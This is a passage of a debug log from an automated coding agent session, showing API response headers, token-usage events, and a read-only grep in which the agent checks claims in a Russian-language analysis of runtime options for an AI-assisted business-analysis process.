\"1790678400\",\n[2026-09-29T07:51:28.751Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:51:28.762Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:51:28.766Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:51:28.770Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:51:28.780Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:51:28.790Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:51:28.800Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:51:28.808Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:51:28.813Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:51:28.816Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:51:28.820Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:51:28.825Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:51:28.829Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:51:28.835Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:51:28.839Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:51:28.841Z] [STDOUT]     \"cf-ray\": \"a429671f8f3601ff-CDG\",\n[2026-09-29T07:51:28.844Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:51:28.848Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:51:28.851Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:51:28.854Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:51:28.857Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:51:28 GMT\",\n[2026-09-29T07:51:28.860Z] [STDOUT]     \"request-id\": \"req_011CfXNDXR7QBqP2YKYbPnnJ\",\n[2026-09-29T07:51:28.863Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:51:28.866Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:51:28.871Z] [STDOUT]     traceresponse: \"00-66b436c2b3dc4f297f962a69a76fac33-2d97a486e51adb3c-01\",\n[2026-09-29T07:51:28.873Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:51:28.879Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:51:28.884Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:51:28.888Z] [STDOUT]   },\n[2026-09-29T07:51:28.891Z] [STDOUT]   durationMs: 782,\n[2026-09-29T07:51:28.894Z] [STDOUT] }\n[2026-09-29T07:51:28.899Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:51:28.903Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:51:28 GMT\",\n[2026-09-29T07:51:28.908Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:51:28.916Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:51:28.920Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:51:28.924Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:51:28.927Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:51:28.931Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:51:28.937Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:51:28.942Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:51:28.950Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:51:28.954Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:51:28.959Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:51:28.962Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:51:28.965Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:51:28.972Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:51:28.979Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:51:28.984Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:51:28.988Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:51:28.991Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:51:28.995Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:51:29.000Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:51:29.007Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:51:29.012Z] [STDOUT]   \"request-id\": \"req_011CfXNDXR7QBqP2YKYbPnnJ\",\n[2026-09-29T07:51:29.015Z] [STDOUT]   \"traceresponse\": \"00-66b436c2b3dc4f297f962a69a76fac33-2d97a486e51adb3c-01\",\n[2026-09-29T07:51:29.018Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:51:29.022Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:51:29.026Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:51:29.033Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:51:29.036Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:51:29.039Z] [STDOUT]   \"cf-ray\": \"a429671f8f3601ff-CDG\",\n[2026-09-29T07:51:29.043Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:51:29.048Z] [STDOUT] [log_c3f162] response parsed {\n[2026-09-29T07:51:29.052Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:29.057Z] [STDOUT]   status: 200,\n[2026-09-29T07:51:29.060Z] [STDOUT]   body: X {\n[2026-09-29T07:51:29.063Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:51:29.067Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:51:29.070Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:51:29.073Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:51:29.076Z] [STDOUT]     },\n[2026-09-29T07:51:29.079Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:51:29.082Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:51:29.084Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:51:29.092Z] [STDOUT]   },\n[2026-09-29T07:51:29.101Z] [STDOUT]   durationMs: 783,\n[2026-09-29T07:51:29.111Z] [STDOUT] }\n[2026-09-29T07:51:29.238Z] [INFO] {\n[2026-09-29T07:51:29.238Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:29.238Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:29.238Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:51:29.238Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:29.238Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:29.238Z] [INFO]   \"uuid\": \"9cd9fc10-1d1f-44c1-a7ec-7d1987eb681f\"\n[2026-09-29T07:51:29.238Z] [INFO] }\n[2026-09-29T07:51:30.279Z] [INFO] {\n[2026-09-29T07:51:30.279Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:30.279Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:30.279Z] [INFO]   \"estimated_tokens\": 253,\n[2026-09-29T07:51:30.279Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:30.279Z] [INFO]   \"session_id\": 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[INFO]       }\n[2026-09-29T07:51:30.297Z] [INFO]     ],\n[2026-09-29T07:51:30.297Z] [INFO]     \"container\": null,\n[2026-09-29T07:51:30.297Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:51:30.297Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:51:30.297Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:51:30.297Z] [INFO]     \"usage\": {\n[2026-09-29T07:51:30.297Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:51:30.297Z] [INFO]       \"cache_creation_input_tokens\": 945,\n[2026-09-29T07:51:30.297Z] [INFO]       \"cache_read_input_tokens\": 100189,\n[2026-09-29T07:51:30.297Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:51:30.297Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:51:30.297Z] [INFO]         \"ephemeral_1h_input_tokens\": 945\n[2026-09-29T07:51:30.297Z] [INFO]       },\n[2026-09-29T07:51:30.297Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:51:30.297Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:51:30.297Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:51:30.297Z] [INFO]     },\n[2026-09-29T07:51:30.297Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:51:30.297Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:51:30.297Z] [INFO]     \"context_management\": null\n[2026-09-29T07:51:30.297Z] [INFO]   },\n[2026-09-29T07:51:30.297Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:30.297Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:30.297Z] [INFO]   \"uuid\": \"6e492077-2e10-45f2-b34e-8dc2459a2738\",\n[2026-09-29T07:51:30.297Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:30.278Z\",\n[2026-09-29T07:51:30.297Z] [INFO]   \"request_id\": \"req_011CfXNDXR7QBqP2YKYbPnnJ\"\n[2026-09-29T07:51:30.297Z] [INFO] }\n[2026-09-29T07:51:31.626Z] [INFO] {\n[2026-09-29T07:51:31.626Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:51:31.626Z] [INFO]   \"message\": {\n[2026-09-29T07:51:31.626Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:51:31.626Z] [INFO]     \"id\": \"msg_011CfXNDXx7TVDABwedNMM22\",\n[2026-09-29T07:51:31.626Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:51:31.626Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:51:31.626Z] [INFO]     \"content\": [\n[2026-09-29T07:51:31.626Z] [INFO]       {\n[2026-09-29T07:51:31.626Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:51:31.626Z] [INFO]         \"id\": \"toolu_01BmmtAVMnPoufchp71Vez6b\",\n[2026-09-29T07:51:31.626Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:51:31.626Z] [INFO]         \"input\": {\n[2026-09-29T07:51:31.626Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process; grep -n \\\"95\\\\|OpenAI\\\" docs/analysis/2026-09-29-ba-ai-process-runtime-options.md | cut -c1-400 | head -10; grep -n \\\"own your control\\\\|12-factor\\\\|Building effective\\\" docs/analysis/2026-09-29-ba-ai-process-runtime-options.md | cut -c1-300 | head -5\",\n[2026-09-29T07:51:31.626Z] [INFO]           \"description\": \"Verify threshold and API claims\"\n[2026-09-29T07:51:31.626Z] [INFO]         },\n[2026-09-29T07:51:31.626Z] [INFO]         \"caller\": {\n[2026-09-29T07:51:31.626Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:51:31.626Z] [INFO]         }\n[2026-09-29T07:51:31.626Z] [INFO]       }\n[2026-09-29T07:51:31.626Z] [INFO]     ],\n[2026-09-29T07:51:31.626Z] [INFO]     \"container\": null,\n[2026-09-29T07:51:31.626Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:51:31.626Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:51:31.626Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:51:31.626Z] [INFO]     \"usage\": {\n[2026-09-29T07:51:31.626Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:51:31.626Z] [INFO]       \"cache_creation_input_tokens\": 945,\n[2026-09-29T07:51:31.626Z] [INFO]       \"cache_read_input_tokens\": 100189,\n[2026-09-29T07:51:31.626Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:51:31.626Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:51:31.626Z] [INFO]         \"ephemeral_1h_input_tokens\": 945\n[2026-09-29T07:51:31.626Z] [INFO]       },\n[2026-09-29T07:51:31.626Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:51:31.626Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:51:31.626Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:51:31.626Z] [INFO]     },\n[2026-09-29T07:51:31.626Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:51:31.626Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:51:31.626Z] [INFO]     \"context_management\": null\n[2026-09-29T07:51:31.626Z] [INFO]   },\n[2026-09-29T07:51:31.626Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:31.626Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:31.626Z] [INFO]   \"uuid\": \"2a0565aa-74ba-4b0f-9b99-be50fdb86100\",\n[2026-09-29T07:51:31.626Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:31.619Z\",\n[2026-09-29T07:51:31.626Z] [INFO]   \"request_id\": \"req_011CfXNDXR7QBqP2YKYbPnnJ\",\n[2026-09-29T07:51:31.626Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:51:31.626Z] [INFO]     \"toolu_01BmmtAVMnPoufchp71Vez6b\": {\n[2026-09-29T07:51:31.626Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process; grep -n \\\"95\\\\|OpenAI\\\" docs/analysis/2026-09-29-ba-ai-process-runtime-options.md | cut -c1-400 | head -10; grep -n \\\"own your control\\\\|12-factor\\\\|Building effective\\\" docs/analysis/2026-09-29-ba-ai-process-runtime-options.md | cut -c1-300 | head -5\",\n[2026-09-29T07:51:31.626Z] [INFO]       \"description\": \"Verify threshold and API claims\"\n[2026-09-29T07:51:31.626Z] [INFO]     }\n[2026-09-29T07:51:31.626Z] [INFO]   }\n[2026-09-29T07:51:31.626Z] [INFO] }\n[2026-09-29T07:51:33.062Z] [INFO] {\n[2026-09-29T07:51:33.062Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:51:33.062Z] [INFO]   \"message\": {\n[2026-09-29T07:51:33.062Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:51:33.062Z] [INFO]     \"content\": [\n[2026-09-29T07:51:33.062Z] [INFO]       {\n[2026-09-29T07:51:33.062Z] [INFO]         \"tool_use_id\": \"toolu_01BmmtAVMnPoufchp71Vez6b\",\n[2026-09-29T07:51:33.062Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:51:33.062Z] [INFO]         \"content\": \"65:OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441. \u041a\u0430\u043a \u044f\u0434\u0440\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u043e\u043d \u0445\u0443\u0436\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e runner:\\n156:| \u041c\u043e\u0434\u0435\u043b\u044c | GigaCode, \u0431\u0435\u0437 API Mango AI | Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API | Qwen, \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e | Mango AI \u0447\u0435\u0440\u0435\u0437 API, \u0432\u044b\u0437\u043e\u0432 \u0438\u0437 \u043a\u043e\u0434\u0430 |\\n251:| \u0413-30 | \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u043f\u0438\u043b\u043e\u0442\u0430 `deterministic_share` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0434\u043e\u043b\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 | `P10`: \u043f\u043e\u0441\u043b\u0435 \u0442\u0440\u0451\u0445 \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c \u0442\u0435\u043a\u0441\u0442\u043e\u043c \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u0440\u0430\u0432\u043d\u0430 `1.0`. [ADR-018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execu\\n269:| \u0413-43 | \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439 runner \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e | \u0421\u0440\u0435\u0434\u0430 2 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API ([ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md)); \u043a\u043b\u0438\u0435\u043d\u0442 OpenAI\\n275:| \u0413-44 | n8n \u2014 \u0431\u043e\u043b\u0435\u0435 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 | \u0417\u0430: \u043f\u0430\u0443\u0437\u044b \u043d\u0430 \u0434\u043d\u0438 ([\u0413-46](#\u0433-46)), OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 ([\u0413-45](#\u0433-45)), \u0444\u043e\u0440\u043c\u044b, \u0447\u0430\u0442, Jira, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Server ([Jira](https://docs.n8n.io/integrations/builtin/credentials/jira.md)), Git ([docs](https://docs.n8n.io/integrations/b\\n276:| \u0413-45 | n8n \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u044c\u044e \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 | \u0423\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 OpenAI \u0432 n8n \u0438\u043c\u0435\u044e\u0442 \u043f\u043e\u043b\u0435 `Base URL` ([\u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434](https://github.com/n8n-io/n8n/blob/master/packages/nodes-base/credentials/OpenAiApi.credentials.ts)); \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044f \u043d\u0435\u0442. \ufffd\\n305:  API -->|\u0448\u0430\u0433| LLM[\\\"Mango AI: OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API\\\"]\\n337:\u043f\u043e \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044e ADR-018 \u0434\u043e\u043b\u044f \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u043d\u0438\u0436\u0435 95% \u0438\u043b\u0438\\n353:| \u041c\u043e\u0434\u0435\u043b\u044c | Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API, \u0432\u044b\u0437\u043e\u0432 \u0438\u0437 \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435 | \u041c\u043e\u0434\u0435\u043b\u044c \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a \u0443\u0437\u043b\u0430, \u043d\u043e \u043d\u0435 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0440\u0435\u0431\u0440\u043e |\\n390:  ([Building effective agents](https://www.anthropic.com/engineering/building-effective-agents));\\n392:  ([12-factor agents](https://github.com/humanlayer/12-factor-agents));\",\n[2026-09-29T07:51:33.062Z] [INFO]         \"is_error\": false\n[2026-09-29T07:51:33.062Z] [INFO]       }\n[2026-09-29T07:51:33.062Z] [INFO]     ]\n[2026-09-29T07:51:33.062Z] [INFO]   },\n[2026-09-29T07:51:33.062Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:33.062Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:33.062Z] [INFO]   \"uuid\": \"34771dd5-61fa-4cdd-9fbf-f07f649643f4\",\n[2026-09-29T07:51:33.062Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:33.056Z\",\n[2026-09-29T07:51:33.062Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:51:33.062Z] [INFO]     \"stdout\": \"65:OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441. \u041a\u0430\u043a \u044f\u0434\u0440\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u043e\u043d \u0445\u0443\u0436\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e runner:\\n156:| \u041c\u043e\u0434\u0435\u043b\u044c | GigaCode, \u0431\u0435\u0437 API Mango AI | Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API | Qwen, \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e | Mango AI \u0447\u0435\u0440\u0435\u0437 API, \u0432\u044b\u0437\u043e\u0432 \u0438\u0437 \u043a\u043e\u0434\u0430 |\\n251:| \u0413-30 | \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u043f\u0438\u043b\u043e\u0442\u0430 `deterministic_share` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0434\u043e\u043b\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 | `P10`: \u043f\u043e\u0441\u043b\u0435 \u0442\u0440\u0451\u0445 \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c \u0442\u0435\u043a\u0441\u0442\u043e\u043c \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u0440\u0430\u0432\u043d\u0430 `1.0`. [ADR-018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execu\\n269:| \u0413-43 | \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439 runner \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e | \u0421\u0440\u0435\u0434\u0430 2 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API ([ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md)); \u043a\u043b\u0438\u0435\u043d\u0442 OpenAI\\n275:| \u0413-44 | n8n \u2014 \u0431\u043e\u043b\u0435\u0435 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 | \u0417\u0430: \u043f\u0430\u0443\u0437\u044b \u043d\u0430 \u0434\u043d\u0438 ([\u0413-46](#\u0433-46)), OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 ([\u0413-45](#\u0433-45)), \u0444\u043e\u0440\u043c\u044b, \u0447\u0430\u0442, Jira, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Server ([Jira](https://docs.n8n.io/integrations/builtin/credentials/jira.md)), Git ([docs](https://docs.n8n.io/integrations/b\\n276:| \u0413-45 | n8n \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u044c\u044e \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 | \u0423\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 OpenAI \u0432 n8n \u0438\u043c\u0435\u044e\u0442 \u043f\u043e\u043b\u0435 `Base URL` ([\u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434](https://github.com/n8n-io/n8n/blob/master/packages/nodes-base/credentials/OpenAiApi.credentials.ts)); \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044f \u043d\u0435\u0442. \ufffd\\n305:  API -->|\u0448\u0430\u0433| LLM[\\\"Mango AI: OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API\\\"]\\n337:\u043f\u043e \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044e ADR-018 \u0434\u043e\u043b\u044f \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u043d\u0438\u0436\u0435 95% \u0438\u043b\u0438\\n353:| \u041c\u043e\u0434\u0435\u043b\u044c | Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API, \u0432\u044b\u0437\u043e\u0432 \u0438\u0437 \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435 | \u041c\u043e\u0434\u0435\u043b\u044c 